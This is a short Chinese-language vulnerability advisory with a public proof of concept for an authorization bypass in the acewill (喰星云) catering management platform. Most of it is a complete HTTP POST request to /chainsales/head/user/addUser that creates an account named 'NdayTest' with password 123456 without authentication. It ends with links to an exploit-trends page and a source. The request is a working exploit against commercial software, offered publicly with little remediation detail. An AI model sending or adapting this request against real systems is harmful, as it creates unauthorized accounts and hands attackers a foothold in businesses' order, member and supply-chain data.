喰星云数字化餐饮服务系统 /chainsales/head/user/addUser 权限绕过漏洞

2026-07-20 喰星云数字化餐饮服务系统 PoC Public

Description

喰星云数字化餐饮服务系统（acewill）是北京奥琦玮信息科技有限公司面向餐饮行业推出的数字化管理平台，涵盖用户管理、订单管理、菜品管理、会员营销、供应链管理等核心业务模块，专注于为连锁餐饮企业提供全链路数字化解决方案。其用户添加接口/chainsales/head/user/addUser存在权限绕过漏洞，攻击者可未授权添加任意用户账户。

PoC

POST /chainsales/head/user/addUser HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.6.23
Connection: close
Content-Length: 182
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0

username=NdayTest&rname=&alias=&mobile=&sno=&invoice_sno=&department_name=&alipay_account=&emailtype=1&email=&emailpwd=&pwd=123456&repwd=123456&newusertype=1&lsid=10000&rlid%5B%5D=-2

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# acewill Digital Catering Service /chainsales/head/user/addUser Permission Bypass Vulnerability

References

Related Vulnerabilities